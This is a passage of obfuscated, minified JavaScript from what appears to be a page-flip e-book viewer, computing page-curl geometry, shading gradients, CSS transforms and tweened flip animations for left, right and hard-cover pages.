0,ot.bh)().state.pager.forceFlip)return void (this.state=Y2.s6("40" << 64));(+"0",ot.bh)().dispatch(Y2.L4(43),{'\u0066\u006f\u0072\u0063\u0065\u0046\u006c\u0069\u0070':!("1" - 0)});}this.bookState.right.isLastSheet && (this.innerReflexBottom.style.display=Y2.L4(+"8"));this.startX=this.bookMarginLeft + this.bookWidth - +"3";}else {if((r3=Y2.L4("55" * 1),this.currentWrapper=Y2.s6(+"129"),this.bookState.left.isNull || this.bookState.rtl && this.bookState.left.isFirst)){if(!(+"0",ot.bh)().state.pager.forceFlip)return void (this.state=Y2.L4(+"40"));("0" ^ 0,ot.bh)().dispatch(Y2.L4(+"43"),{'\u0066\u006f\u0072\u0063\u0065\u0046\u006c\u0069\u0070':!("1" - 0)});}this.bookState.left.isFirstSheet && (this.innerReflexBottom.style.display=Y2.s6(8));this.startX=this.bookMarginLeft + ("3" >> 0);}if(((-1 === this.leftWrapper.secondPageNum && this.bookState.left.isLast || -+"1" === this.rightWrapper.firstPageNum && this.bookState.right.isFirst || ("2" | 0) === this.bookState.pagesCount) && A.Z.addClass(this.globalWrapper,Y2.s6("22" ^ 0)),Y2.L4("101" << 64) === this[this.currentWrapper].type))return void this.startRenderHard(U3,N0,u6);z_ > this.bookHeight / +"2"?(D5=Y2.L4("112" ^ 0),this.startY=this.bookMarginTop + this.bookHeight):(D5=Y2.L4(+"196"),this.startY=this.bookMarginTop);this.startPoint=D5 + r3;this.initPoints(U3);C2=U3.pageX - this.startX;A_=U3.pageY - this.startY;this.initOnceSizes();this.bookState.singleMode || !this.bookState.left.isFirstSheet && !this.bookState.right.isLastSheet || this[this.currentWrapper].reflexMask && (this[this.currentWrapper].reflexMask.style.overflow=Y2.s6(+"187"));d9={'\u0070\u0061\u0067\u0065\u0058':this.startX,'\u0070\u0061\u0067\u0065\u0059':this.startY - this.deltaFromCorner};E7={'\u0070\u0061\u0067\u0065\u0058':this.startX + C2,'\u0070\u0061\u0067\u0065\u0059':this.startY - this.deltaFromCorner + (A_ + this.deltaFromCorner)};this.render(d9);c8=this;this.trigger(Y2.s6(+"94"),{'\u0064\u0072\u0061\u0067':N0,'\u0068\u0069\u0064\u0065':N0 && (this.bookState.left.isFirstSheet || this.bookState.right.isLastSheet)?r3:Y2.L4(+"23")});X1=function(){j1?c8.render(E7):c8.tween=new (j().Tween)(d9).to(E7,"50" ^ 0).easing(j().Easing.Sinusoidal.Out).onUpdate(function(){c8.render(d9);}).start();};this.tween && this.tween._isPlaying?c8.tween.onStop(function(){X1();}).stop():X1();A.Z.addClass(this[this.currentWrapper].mask,Y2.s6(+"9"));("0" | 0,ot.bh)().dispatch(Y2.s6(+"93"),{'\u006e\u0065\u0077\u0053\u0074\u0061\u0074\u0065':Y2.s6(156)});this.state=Y2.s6(156);this[this.currentWrapper].mask.style.top=-this.maskTop + Y2.L4(200);};pe.prototype.render=function(X6,G3,O2){var K3=z_cHO;var Q4,z7,C5,J1,G0,R4,y1,E1,t9,O4,L$,i_,e6,r_,u5,z$,o5,V6,U$,F4,v3,t8,I0,l_,v2,X8,b$,e1,h6,S$,G$,a1,P8,i3,D7,p4,P4,C8,g8,K$,u7,A7,Q_,k2,x7,W1,t_,n3,e9,a8,u1,Q1,g3,A0,U9,r0,E8,I6,l8,B1,B0,v6,P5,j5,S6,z1,e3,j0,N1,N$;if(this.destroyed)return;O4=this.renderData;G3=G3 || !1;L$=X6.pageX;i_=X6.pageY;e6=this.deltaFromCorner;r_=this.edgeBottom.x;u5=this.edgeBottom.y;z$=this.spineBottom.x;o5=this.spineBottom.y;V6=this.spineTop.x;U$=this.spineTop.y;F4=this.outerRadius;v3=this.bookWidth;t8=this.bookHeight;I0=this.maskWidth;l_=this.maskTop;v2=this.pageWidth;X8=this.gradientPrefix;b$=this.innerReflexBottomWidth;e1=this.flipGradientWidth;h6=this.innerReflexWidth;S$=this.startPoint;G$=this.transformMethod;a1=this.currentWrapper;P8=this.innerRadius;if(0 !== e6){i3=Math.atan((u5 - e6 - i_) / (r_ - L$));i3 !== +i3 && (i3="0" - 0);Q4=L$ + -e6 * Math.sin(("2" >> 32) * i3);z7=i_ + e6 * Math.cos(("2" >> 0) * i3);}else (Q4=L$,z7=i_);D7=z$ - Q4;p4=o5 - z7;P4=Math.atan2(p4,D7);C8=z$ - Math.cos(P4) * P8;g8=o5 - Math.sin(P4) * P8;Math.sqrt(p4 * p4 + D7 * D7) > P8?(C5=C8 - +".5",J1=g8 - (".5" - 0)):(C5=Q4,J1=z7);D7=V6 - C5;p4=U$ - J1;P4=Math.atan2(p4,D7);K3.f4();K$=V6 - Math.cos(P4) * F4;u7=U$ - Math.sin(P4) * F4;if((Math.sqrt(D7 * D7 + p4 * p4) > F4 && (C5=K$ - .5,J1=u7 - +".5"),0 !== e6 && !O2)){if(C5 <= r_ + 2 && -+"1" !== S$.indexOf(K3.L4("55" | 49)))return void this.toggleCorner(X6);if(C5 >= r_ - ("2" | 2) && -1 !== S$.indexOf(K3.L4("137" - 0)))return void this.toggleCorner(X6);}A7=C5 + .5 * (r_ - C5);Q_=J1 + ".5" * 1 * (u5 - J1);Math.abs(Q_ - u5) >= "1" >> 32 || Math.abs(A7 - r_) >= "1" * 1?(G0=Math.atan((Q_ - u5) / (A7 - r_)),E1=Math.sqrt((r_ - C5) * (r_ - C5) + (u5 - J1) * (u5 - J1)) / 2,R4=r_ - A7,y1=u5 - Q_):(G0=+"0",E1="0" * 1,R4="0" ^ 0,y1=+"0");G0 !== +G0 && (G0="0" ^ 0);k2=Math.abs(R4 / v2);t9=+"0" === k2?+"0":k2 > .8?+"5" * (("1" | 1) - k2):+"1";G0=A.Z.round(G0,+"5");x7=(k2 > +".9"?+".35":-(".35" - 0)) * window.devicePixelRatio;W1=v3 > +"1300"?("2" | 2) * x7:x7;if((K3.s6(+"139") === S$ || K3.s6(127) === S$?(O4.reversePageTransform=K3.s6(+"100") + (I0 - E1 + W1) + K3.L4("6" * 1) + l_ + K3.L4(+"15") + G0 + K3.L4(+"169"),O4.maskTransform=K3.L4(+"100") + (-R4 + x7) + K3.s6("6" ^ 0) + -y1 + K3.s6("15" >> 0) + G0 + K3.s6(+"169"),O4.frontPageTransform=K3.L4("100" * 1) + (I0 - v2 + E1) + K3.s6("6" * 1) + l_ + K3.s6(+"15") + -G0 + K3.L4(+"169")):(O4.reversePageTransform=K3.L4(100) + (-v2 + E1 - W1) + K3.s6("6" ^ 0) + l_ + K3.s6(+"15") + G0 + K3.L4(+"169"),O4.maskTransform=K3.L4("100" * 1) + (-R4 - x7) + K3.L4(+"6") + -y1 + K3.s6(+"15") + G0 + K3.L4(+"169"),O4.frontPageTransform=K3.L4("100" ^ 0) + -E1 + K3.s6(+"6") + l_ + K3.s6(15) + -G0 + K3.L4("169" << 64)),"0" >> 64 !== t9)){if(K3.s6(+"139") === S$){t_=E1 / Math.cos(G0);n3=Math.tan(G0) * t8;e9=n3 < 0?t_ - n3:E1;n3 < "0" * 1 && (e9=Math.cos(G0) * e9);O4.flipGradientBackground=X8 + K3.s6("97" | 32) + ".45" * 1 * t9 + K3.L4(122) + ".15" * 1 * t9 + K3.s6(+"152") + +".01" * e9 + K3.L4("50" | 18) + +".45" * t9 + K3.L4(152) + .055 * e9 + K3.L4(+"21") + (".65" - 0) * t9 * (".32" - 0) + K3.s6("152" | 8) + .185 * e9 + K3.s6("75" << 64) + e9 + K3.L4(+"216");O4.flipGradientTransform=K3.L4(+"100") + (t_ - e1) + K3.s6(+"191") + -G0 + K3.s6("169" ^ 0);a8=Math.tan(G0) * y1;u1=r_ - L$;u1=u1 < ".03" * 1 * v3?+".03" * v3:u1 > +".3" * v3?+".3" * v3:u1;O4.innerReflexBottomBackground=X8 + K3.s6(+"58") + ".45" * 1 * t9 + K3.L4(+"5") + u1 + K3.s6("216" ^ 0);O4.innerReflexBottomTransform=K3.L4(+"100") + (v3 - R4 - a8) + K3.L4("191" << 96) + G0 + K3.s6(169);Q1=u1 * (.45 + k2 / ("2" - 0));O4.innerReflexBackground=X8 + K3.s6(+"185") + (+".1" + +"1.6" * k2 * (".4" - 0)) + K3.s6("5" - 0) + Q1 + K3.s6(+"216");O4.innerReflexTransform=K3.s6(+"100") + (v3 - R4 - a8 - h6) + K3.s6("191" ^ 0) + G0 + K3.L4(+"169");O4.reflexContainerTransform=K3.L4("100" | 4) + (I0 - v3 + E1) + K3.L4(+"6") + l_ + K3.s6(+"15") + -G0 + K3.s6(+"169");}else if(K3.s6("127" >> 0) === S$){g3=E1 / Math.cos(G0);A0=Math.tan(G0) * t8;U9=A0 > 0?g3 + A0:E1;A0 > +"0" && (U9=Math.cos(G0) * U9);O4.flipGradientBackground=X8 + K3.L4("97" << 64) + (".45" - 0) * t9 + K3.s6("122" - 0) + ".15" * 1 * t9 + K3.s6(152) + .01 * U9 + K3.L4("50" - 0) + .45 * t9 + K3.s6("152" * 1) + +".055" * U9 + K3.L4(+"21") + .65 * t9 * +".32" + K3.L4(+"152") + ".185" * 1 * U9 + K3.s6("75" | 65) + U9 + K3.L4(216);O4.flipGradientTransform=K3.s6("100" << 0) + (g3 - e1) + K3.L4(+"191") + -G0 + K3.s6("169" ^ 0);r0=Math.tan(G0) * y1;E8=r_ - L$;E8=E8 < +".03" * v3?".03" * 1 * v3:E8 > +".3" * v3?(".3" - 0) * v3:E8;O4.innerReflexBottomBackground=X8 + K3.s6("58" >> 32) + (".45" - 0) * t9 + K3.L4("5" >> 0) + E8 + K3.s6("216" - 0);O4.innerReflexBottomTransform=K3.s6("100" | 68) + (v3 - R4 - r0) + K3.L4("191" | 30) + G0 + K3.s6("169" - 0);I6=E8 * (+".45" + k2 / ("2" - 0));O4.innerReflexBackground=X8 + K3.L4(+"185") + (+".1" + +"1.6" * k2 * +".4") + K3.L4("5" << 0) + I6 + K3.s6("216" >> 96);O4.innerReflexTransform=K3.L4(+"100") + (v3 - R4 - h6 - r0) + K3.L4("191" << 64) + G0 + K3.s6("169" - 0);O4.reflexContainerTransform=K3.s6("100" * 1) + (I0 - v3 + E1) + K3.s6(6) + l_ + K3.L4(+"15") + -G0 + K3.s6("169" - 0);}else if(K3.L4("160" << 64) === S$){l8=E1 / Math.cos(G0);B1=Math.tan(G0) * t8;B0=B1 > "0" - 0?l8 + B1:E1;B1 > "0" << 0 && (B0=Math.cos(G0) * B0);O4.flipGradientBackground=X8 + K3.L4(19) + +".45" * t9 + K3.s6(+"122") + .15 * t9 + K3.L4("152" ^ 0) + +".01" * B0 + K3.L4("50" * 1) + +".45" * t9 + K3.L4("152" | 16) + .055 * B0 + K3.L4("21" << 0) + .65 * t9 * (".32" * 1) + K3.s6(+"152") + .185 * B0 + K3.L4("75" << 64) + B0 + K3.L4(216);O4.flipGradientTransform=K3.L4("100" - 0) + (v2 - l8) + K3.s6(+"191") + -G0 + K3.L4("169" ^ 0);v6=L$ - r_;v6=v6 < .03 * v3?+".03" * v3:v6 > +".3" * v3?+".3" * v3:v6;O4.innerReflexBottomBackground=X8 + K3.L4("185" * 1) + .45 * t9 + K3.L4("5" >> 0) + v6 + K3.L4("216" | 16);O4.innerReflexBottomTransform=K3.s6(100) + (l8 - b$) + K3.s6("191" * 1) + G0 + K3.s6("169" - 0);P5=v6 * (".45" - 0 + k2 / +"2");O4.innerReflexBackground=X8 + K3.L4("58" << 64) + (+".1" + 1.6 * k2 * (".4" - 0)) + K3.s6("5" ^ 0) + P5 + K3.L4("216" ^ 0);O4.innerReflexTransform=K3.L4(+"100") + l8 + K3.L4("191" << 32) + G0 + K3.L4("169" >> 0);O4.reflexContainerTransform=K3.L4("100" >> 32) + -E1 + K3.L4("6" - 0) + l_ + K3.L4(15) + -G0 + K3.s6("169" | 8);}else {j5=E1 / Math.cos(G0);S6=Math.tan(G0) * t8;z1=S6 < "0" << 64?j5 - S6:E1;S6 < "0" >> 0 && (z1=Math.cos(G0) * z1);O4.flipGradientBackground=X8 + K3.s6(19) + ".45" * 1 * t9 + K3.s6("122" >> 64) + .15 * t9 + K3.s6("152" ^ 0) + (".01" - 0) * z1 + K3.s6(+"50") + .45 * t9 + K3.L4("152" ^ 0) + ".055" * 1 * z1 + K3.L4("21" ^ 0) + .65 * t9 * +".32" + K3.s6(+"152") + (".185" - 0) * z1 + K3.s6("75" >> 32) + z1 + K3.L4(216);O4.flipGradientTransform=K3.L4(+"100") + (v2 - j5) + K3.L4(+"191") + -G0 + K3.L4("169" * 1);e3=L$ - r_;e3=e3 < +".03" * v3?".03" * 1 * v3:e3 > .3 * v3?+".3" * v3:e3;O4.innerReflexBottomBackground=X8 + K3.L4("185" ^ 0) + ".45" * 1 * t9 + K3.L4(+"5") + e3 + K3.L4("216" * 1);O4.innerReflexBottomTransform=K3.s6(+"100") + (j5 - b$) + K3.L4(+"191") + G0 + K3.L4(+"169");j0=e3 * (".45" * 1 + k2 / +"2");O4.innerReflexBackground=X8 + K3.s6("58" >> 32) + (".1" - 0 + +"1.6" * k2 * .4) + K3.L4("5" ^ 0) + j0 + K3.s6(+"216");O4.innerReflexTransform=K3.s6(100) + j5 + K3.L4(+"191") + G0 + K3.L4(+"169");O4.reflexContainerTransform=K3.s6(+"100") + -E1 + K3.L4(+"6") + l_ + K3.L4(+"15") + -G0 + K3.s6(169);}}else O4.innerReflexBottomTransform=K3.L4(+"87");if((this[a1].reversePage.style[G$]=O4.reversePageTransform,this[a1].mask.style[G$]=O4.maskTransform,this[a1].frontPage.style[G$]=O4.frontPageTransform,this[a1].flipGradient.style.background=O4.flipGradientBackground,this[a1].flipGradient.style[G$]=O4.flipGradientTransform,G3 || this.bookState.isMobile?this.innerReflexBottom.style.display=K3.L4("8" * 1):(this.innerReflexBottom.style.background=O4.innerReflexBottomBackground,this.innerReflexBottom.style[G$]=O4.innerReflexBottomTransform,this[a1].innerReflex.style.background=O4.innerReflexBackground,this[a1].innerReflex.style[G$]=O4.innerReflexTransform,this[a1].innerReflex.style.display=+"0" === t9?K3.L4("8" - 0):K3.L4(+"23")),this.bookState.singleMode)){if(-1 !== S$.indexOf(this.bookState.rtl?K3.L4(+"55"):K3.L4(137))){N1=k2 < +".85"?+"1":+"1" - Math.pow((k2 - +".85") / (".15" * 1),+"2");N1=N1 <= +"0"?"0" * 1:N1;this[a1].frontPage.style.opacity=N1;this[a1].reversePage.style.opacity=N1;this[a1].innerReflex.style.opacity=N1;this.innerReflexBottom.style.opacity="1" - 0;}if(-("1" >> 0) !== S$.indexOf(this.bookState.rtl?K3.s6("137" >> 0):K3.s6(+"55"))){N$=k2 > .7?1:Math.pow(k2 / (".7" - 0),2);N$=N$ <= 0?+"0":N$;this[a1].frontPage.style.opacity=k2 > ".3" - 0?Math.pow((k2 - .3) / (".7" * 1),"2" * 1):0;this[a1].reversePage.style.opacity=N$;this[a1].innerReflex.style.opacity=N$;this.innerReflexBottom.style.opacity=+"0";}}this[a1].reflexContainer.style[G$]=O4.reflexContainerTransform;this.follow=new ke(Q4,z7);this.corner=new ke(C5,J1);this.radius1=new ke(C8,g8);this.radius2=new ke(K$,u7);this.progress=k2;this.renderData=O4;this.middle={'\u0078':A7,'\u0079':Q_,'\u0064\u0069\u0073\u0074':E1,'\u0061\u006c\u0066\u0061':G0,'\u0064\u0069\u0073\u0074\u0058':R4,'\u0064\u0069\u0073\u0074\u0059':y1};(this.bookState.left.isFirstSheet && -+"1" !== S$.indexOf(K3.L4("55" | 32)) || this.bookState.left.isLast || this.bookState.right.isFirst || this.bookState.right.isLastSheet && -+"1" !== S$.indexOf(K3.L4(137)) || X6.fakePointer && this.bookState.left.isFirstSheet || X6.fakePointer && this.bookState.right.isLastSheet) && this.setDynamicStyles(!("0" | 0));};pe.prototype.finishRender=function(H9,D9,k6,U6){var d4=z_cHO;var q7,W$,o1,f0,c4,J7,u9;d4.b8();if((H9=H9 || !1,this.postPager=!+"1",this.destroyed))return;if(d4.s6(+"101") === this[this.currentWrapper].type)return void this.finishRenderHard(H9,D9,k6,U6);q7=d4.L4("80" * 1) === this.bookState.version && this.bookState.singleMode?+".25":".5" * 1;W$=this.progress < q7?this.corner.x - this.startX:d4.L4("139" >> 64) === this.startPoint || d4.L4("127" >> 64) === this.startPoint?this.corner.x - this.startX + this.bookWidth:this.corner.x - this.startX - this.bookWidth;d4.L4(+"137") === D9?(this.progress=.9,W$=this.corner.x - this.startX - this.bookWidth):d4.s6("55" >> 0) === D9 && (this.progress=".9" - 0,W$=this.corner.x - this.startX + this.bookWidth);o1=this.corner.y - this.startY;f0=this.corner.x;c4=this.corner.y;J7=this;this.deltaFromCorner=0;u9=function(){var w0,h4;w0={'\u0070\u0061\u0067\u0065\u0058':f0,'\u0070\u0061\u0067\u0065\u0059':c4};h4=function(){J7.render({'\u0070\u0061\u0067\u0065\u0058':f0 - W$,'\u0070\u0061\u0067\u0065\u0059':c4 - o1},!+"0");J7.destroyed || (J7.progress > q7 && (d4.L4("139" >> 64) === J7.startPoint || d4.s6(+"127") === J7.startPoint?J7[J7.currentWrapper].setLeft():J7[J7.currentWrapper].setRight()),A.Z.removeClass(J7[J7.currentWrapper].mask,d4.L4("9" | 9)),J7.state=d4.s6(40),(+"0",ot.bh)().dispatch(d4.s6("93" ^ 0),{'\u006e\u0065\u0077\u0053\u0074\u0061\u0074\u0065':d4.s6(+"40")}),J7[J7.currentWrapper].mask.style.top=d4.L4(+"205"),J7[J7.currentWrapper].mask.style[J7.transformMethod]=d4.L4("23" * 1),J7[J7.currentWrapper].frontPage.style[J7.transformMethod]=d4.s6(+"23"),J7[J7.currentWrapper].reversePage.style[J7.transformMethod]=d4.s6(121),J7.innerReflexBottom.style[J7.transformMethod]=d4.s6("72" - 0),J7.innerReflexBottom.style.display=d4.s6(+"23"),J7[J7.currentWrapper].reflexMask && (J7[J7.currentWrapper].reflexMask.style.overflow=d4.L4("23" - 0)),J7.progress > q7 && !k6 && (d4.s6(+"139") === J7.startPoint || d4.L4("127" >> 64) === J7.startPoint?J7.trigger(d4.s6(+"71")):J7.trigger(d4.s6(65))),k6?J7.trigger(d4.L4("199" * 1),U6):J7.trigger(d4.s6("51" << 64),U6),J7.progress > q7 && k6 && (d4.s6(+"139") === J7.startPoint || d4.L4(+"127") === J7.startPoint?J7.trigger(d4.s6("10" - 0)):J7.trigger(d4.L4("74" * 1))),A.Z.removeClass(J7.globalWrapper,d4.s6("22" - 0)),J7.progress=+"1");};H9?h4():J7.tween=new (j().Tween)(w0).to({'\u0070\u0061\u0067\u0065\u0058':f0 - W$,'\u0070\u0061\u0067\u0065\u0059':c4 - o1},"350" | 8).easing(j().Easing.Sinusoidal.Out).onUpdate(function(){d4.f4();H9 || J7.render(w0);}).onComplete(h4).start();};this.tween && this.tween._isPlaying?this.tween.onStop(function(){u9();}).stop():u9();};pe.prototype.startRenderHard=function(e8,g9,g5){var A1=z_cHO;var t0;t0=e8.pageX - this.bookMarginLeft;t0 > this.pageWidth && A1.L4("55" << 32) !== g5 || A1.s6(+"137") === g5?(this.startPoint=A1.s6(+"127"),this.currentWrapper=A1.L4(11),this.startX=this.bookMarginLeft + this.bookWidth,this.finishX=this.bookMarginLeft):(this.startPoint=A1.L4(26),this.currentWrapper=A1.s6("129" ^ 0),this.startX=this.bookMarginLeft,this.finishX=this.bookMarginLeft + this.bookWidth);A.Z.addClass(this[this.currentWrapper].mask,A1.L4("111" << 32));this.trigger(A1.L4(+"94"),{'\u0064\u0072\u0061\u0067':g9,'\u0068\u0069\u0064\u0065':t0 > this.pageWidth?A1.L4(+"137"):A1.s6(+"55")});this.state=A1.L4("156" << 32);A1.f4();(+"0",ot.bh)().dispatch(A1.s6(+"93"),{'\u006e\u0065\u0077\u0053\u0074\u0061\u0074\u0065':A1.s6("156" ^ 0)});};pe.prototype.renderHard=function(o4){var N9=z_cHO;var J9,s2,K7,W9,J2;if(this.destroyed)return;K7=this.pageWidth;if((s2=N9.L4(+"127") === this.startPoint?o4.pageX - (this.bookMarginLeft + this.pageWidth):this.bookMarginLeft + this.pageWidth - o4.pageX,s2=s2 > this.pageWidth?this.pageWidth:s2,s2=s2 < -this.pageWidth?-this.pageWidth:s2,J9=Math.acos(s2 / K7),J9=N9.L4(+"127") === this.startPoint?-J9:J9,this.progress=("1" << 0) * Math.abs(J9 / Math.PI).toFixed("2" * 1),this.pageX=o4.pageX,this.bookState.singleMode)){if(-("1" >> 32) !== this.startPoint.indexOf(this.bookState.rtl?N9.s6(55):N9.L4(137))){W9=this.progress < ".5" - 0?"1" * 1:("1" ^ 0) - Math.pow((this.progress - +".5") / .5,2);W9=W9 <= +"0"?"0" | 0:W9;this[this.currentWrapper].frontPage.style.opacity=W9;this[this.currentWrapper].reversePage.style.opacity=W9;this[this.currentWrapper].mask.style[N9.L4(+"53")]=this.progress >= ".5" - 0?N9.s6(+"8"):N9.s6("23" * 1);}if(-+"1" !== this.startPoint.indexOf(this.bookState.rtl?N9.s6(+"137"):N9.s6(+"55"))){J2=this.progress > .5?+"1":Math.pow(this.progress / (".5" * 1),+"2");J2=J2 <= ("0" ^ 0)?0:J2;this[this.currentWrapper].frontPage.style.opacity=J2;this[this.currentWrapper].reversePage.style.opacity=J2;this[this.currentWrapper].mask.style[N9.L4(+"53")]=this.progress >= ".5" - 0?N9.L4(+"23"):N9.s6("8" ^ 0);}}this[this.currentWrapper].mask.style[this.transformMethod]=N9.s6("16" >> 0) + J9 + N9.s6(+"169");this.setDynamicStyles();};pe.prototype.finishRenderHard=function(p5,o3,d_,X3){var B$=z_cHO;var g6,v5,D_,U0,z0,m8,K_;g6=this.progress;v5={'\u0078':this.progress,'\u0070\u0061\u0067\u0065\u0058':this.pageX};D_=B$.L4(+"127") === this.startPoint && B$.L4("55" * 1) === o3 || B$.s6(+"26") === this.startPoint && B$.s6(+"137") === o3;U0=g6 > ".35" - 0 && (B$.L4(+"127") === this.startPoint && this.bookState.right.isFirst || B$.L4(26) === this.startPoint && this.bookState.left.isLast);z0=g6 > +".5" || U0 || D_;m8=this;K_=function(){var l5;l5=function(){B$.f4();m8.destroyed || (m8.state=B$.L4(40),(+"0",ot.bh)().dispatch(B$.s6("93" | 65),{'\u006e\u0065\u0077\u0053\u0074\u0061\u0074\u0065':B$.L4("40" ^ 0)}),A.Z.removeClass(m8[m8.currentWrapper].mask,B$.s6("111" - 0)),m8[m8.currentWrapper].mask.style[m8.transitionMethod]=B$.L4("23" << 32),m8[m8.currentWrapper].mask.style[m8.transformMethod]=B$.s6(+"23"),z0 && (B$.s6(127) === m8.startPoint && B$.L4(+"137") !== o3?(m8[m8.currentWrapper].setLeft(),d_ || m8.trigger(B$.s6("71" | 2))):B$.L4("26" ^ 0) === m8.startPoint && B$.s6("55" ^ 0) !== o3 && (m8[m8.currentWrapper].setRight(),d_ || m8.trigger(B$.L4(65)))),d_?m8.trigger(B$.L4("199" << 32),X3):m8.trigger(B$.L4(+"51"),X3),z0 && d_ && (B$.s6(+"139") === m8.startPoint || B$.s6("127" ^ 0) === m8.startPoint?m8.trigger(B$.s6(+"10")):m8.trigger(B$.s6("74" - 0))),A.Z.removeClass(m8.globalWrapper,B$.s6(22)),p5 && (m8.setDynamicStyles(),m8.progress=+"1"));};B$.b8();p5?l5():m8.tween=new (j().Tween)(v5).to({'\u0078':z0?1:"0" | 0,'\u0070\u0061\u0067\u0065\u0058':z0?m8.finishX:m8.startX},500).easing(j().Easing.Sinusoidal.Out).onUpdate(()=>{B$.b8();m8.progress=v5.x;m8.renderHard({'\u0070\u0061\u0067\u0065\u0058':v5.pageX});}).onComplete(l5).start();};this.tween && this.tween._isPlaying?this.tween.onStop(function(){B$.f4();K_();}).stop():K_();};pe.prototype.shiftPagesLeft=function(){var q$;this.preWrapper.destroy();z_cHO.f4();this.preWrapper=this.leftWrapper.setLayer(this.leftWrapper.layer - +"1");this.leftWrapper=this.rightWrapper;this.rightWrapper=this.nxtWrapper.setLayer(this.nxtWrapper.layer + 1);q$=this.storedStates.length > 0?this.storedStates.shift():this.bookState.getState();this.nxtWrapper=Mt(q$,this.bookState,this.bookDiv,!("0" * 1),"2" - 0,!("1" >> 64),this.parentVm,this.contentCreator);this.trigger(z_cHO.s6(+"204"));};pe.prototype.shiftPagesRight=function(){z_cHO.b8();var S3;this.nxtWrapper.destroy();this.nxtWrapper=this.rightWrapper.setLayer(this.rightWrapper.layer - 1);this.rightWrapper=this.leftWrapper;this.leftWrapper=this.preWrapper.setLayer(this.preWrapper.layer + +"1");S3=this.storedStates.length > 0?this.storedStates.shift():this.bookState.getState();this.preWrapper=Mt(S3,this.bookState,this.bookDiv,!("1" | 1),+"2",!("0" ^ 0),this.parentVm,this.contentCreator);this.trigger(z_cHO.s6("204" - 0));};pe.prototype.flipToLeft=function(){var g7,l4,W_,O6,G6,n$,I_;g7=arguments.length > 0 && void 0 !== arguments[+"0"] && arguments["0" ^ 0];l4=arguments.length > 1 && void 0 !== arguments[+"1"] && arguments["1" - 0];W_=arguments.length > ("2" ^ 0)?arguments["2" - 0]:void 0;if(this.bookState.left.isLast && !("0" << 32,ot.bh)().state.pager.forceFlip)return;O6=this._getBookLeftMargin();G6={'\u0070\u0061\u0067\u0065\u0058':O6 + this.bookWidth - ("1" | 1),'\u0070\u0061\u0067\u0065\u0059':this.bookMarginTop};n$={'\u0070\u0061\u0067\u0065\u0058':O6};I_=(x1,L3)=>{z_cHO.b8();x1.pageY=this.bookMarginTop - Math.min(this.bookWidth,this.bookHeight) / ("10" | 10) * (L3 > +".5"?1 - L3:L3);};this._internalFlip(g7,l4,W_,G6,n$,I_);};pe.prototype.flipToRight=function(){var n_,t6,D4,l$,X_,E$,T1;n_=arguments.length > +"0" && void ("0" >> 0) !== arguments["0" >> 0] && arguments["0" << 0];t6=arguments.length > ("1" | 1) && void +"0" !== arguments[+"1"] && arguments[1];D4=arguments.length > +"2"?arguments[2]:void +"0";if(this.bookState.right.isFirst && !(0,ot.bh)().state.pager.forceFlip)return;l$=this._getBookLeftMargin();z_cHO.b8();X_={'\u0070\u0061\u0067\u0065\u0058':l$ + 1,'\u0070\u0061\u0067\u0065\u0059':this.bookMarginTop};E$={'\u0070\u0061\u0067\u0065\u0058':l$ + this.bookWidth};T1=(y$,P0)=>{z_cHO.f4();y$.pageY=this.bookMarginTop - Math.min(this.bookWidth,this.bookHeight) / ("10" - 0) * (P0 > +".5"?1 - P0:P0);};this._internalFlip(n_,t6,D4,X_,E$,T1);};pe.prototype._internalFlip=function(){var K2,f1,p2,q0,H3,W8,K6,O3;K2=arguments.length > "0" - 0 && void +"0" !== arguments[+"0"] && arguments["0" << 64];f1=arguments.length > "1" << 64 && void ("0" ^ 0) !== arguments[+"1"] && arguments[+"1"];p2=arguments.length > +"2"?arguments["2" * 1]:void 0;q0=arguments.length > "3" - 0?arguments["3" * 1]:void +"0";H3=arguments.length > "4" * 1?arguments[+"4"]:void +"0";W8=arguments.length > "5" - 0?arguments["5" * 1]:void ("0" >> 0);this.storedStates.push(p2 || this.bookState.getState());K6=this;O3=function(){var d7=z_cHO;K6.destroyed || ((0,ot.bh)().dispatch(d7.s6(30),d7.s6("213" - 0)),K6.once(d7.L4("51" - 0),()=>{d7.f4();("0" << 0,ot.bh)().dispatch(d7.L4("30" - 0),d7.s6("12" ^ 0));}),K6.startRender(q0,!0),K6.postPager=!("0" >> 32),f1?K6.finishRender(!0,null,K2):K6.tween=new (j().Tween)(q0).to(H3,+"500" / K6.speedRate).easing(j().Easing.Sinusoidal.Out).onUpdate(function(){d7.L4(101) !== K6[K6.currentWrapper].type?(W8(q0,K6.progress),q0.fakePointer=!("0" ^ 0),K6.render(q0,!+"0")):K6.renderHard(q0,!+"0");}).onComplete(function(){K6.finishRender(!("0" ^ 0),null,K2);}).start());};K6.tween?._isPlaying?K6._stopInternalFlip(O3):O3();};pe.prototype._stopInternalFlip=function(N8){this.tween?._isPlaying && this.tween.onStop(()=>{var w7;w7=-("1" << 32) !== this.startPoint.indexOf(z_cHO.L4(55))?z_cHO.s6("137" - 0):z_cHO.L4("55" | 6);this.finishRender(!+"0",w7,!0,!+"0");N8?.();}).stop();};pe.prototype._getBookLeftMargin=function(){var y2,V2,M5;y2=this.bookMarginLeft;V2=this.bookWidth;z_cHO.b8();if(this.bookState.hardcover && !this.bookState.singleMode){M5=("0" << 64,ot.bh)().getters[z_cHO.L4("85" | 4)];y2=null === (this.bookState.rtl?M5.rightPage:M5.leftPage)?-V2 / ("2" ^ 0):+"0";}return y2;};pe.prototype.flipToPager=function(){var O_=z_cHO;var c2,S9,a7,m_,w5,M9,s4;this._stopInternalFlip();c2=!+"0";(+"0",ot.bh)().dispatch(O_.L4("43" << 0),{'\u0066\u006f\u0072\u0063\u0065\u0046\u006c\u0069\u0070':!("0" >> 64)});if((Math.max(this.leftWrapper.secondPageNum,this.rightWrapper.firstPageNum) > Math.max(this.bookState.currentLeft,this.bookState.currentRight) && (c2=!1),c2)){-("1" - 0) === this.leftWrapper.secondPageNum && this.bookState.left.isLast && A.Z.addClass(this.globalWrapper,O_.s6(+"22"));S9=[this.bookState.right,this.bookState.left].filter(x8=>!x8.isNull)[+"0"] ?? this.bookState.right;a7=this.bookState.hardcover && (S9.isLastSheet || S9.isLast);if((this.bookState.left.isLast || a7?(this.nxtWrapper.destroy(),this.nxtWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!+"0",+"2",!1,this.parentVm,this.contentCreator,O_.L4(137),a7,!+"0")):this.bookState.left.isLast || this.nxtWrapper.setContent({'\u0066\u0069\u0072\u0073\u0074':null,'\u0073\u0065\u0063\u006f\u006e\u0064':null}),this.bookState.left.isLast && 